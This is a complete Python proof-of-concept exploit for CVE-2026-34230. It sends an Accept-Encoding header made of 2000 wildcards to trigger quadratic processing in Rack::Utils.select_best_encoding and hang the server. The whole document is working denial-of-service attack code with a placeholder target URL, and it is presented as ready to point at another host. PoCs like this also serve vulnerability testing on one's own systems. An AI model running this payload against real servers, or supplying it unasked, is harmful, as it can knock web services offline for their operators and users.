CVE-2026-34230

import requests def exploit(target_url): """ PoC for CVE-2026-34230. Sends a request with a large Accept-Encoding header containing wildcards to trigger the quadratic complexity in Rack::Utils.select_best_encoding. """ # Generate a malicious Accept-Encoding header with 2000 wildcards wildcards = ["*"] * 2000 malicious_encoding = ", ".join(wildcards) headers = { "Accept-Encoding": malicious_encoding, "User-Agent": "CVE-2026-34230-Scanner" } try: print(f"Sending attack request to {target_url}...") response = requests.get(target_url, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("If the server hangs or CPU spikes, the vulnerability is confirmed.") except requests.exceptions.Timeout: print("Request timed out - possible successful DoS trigger.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:3000" # Replace with target URL exploit(target)

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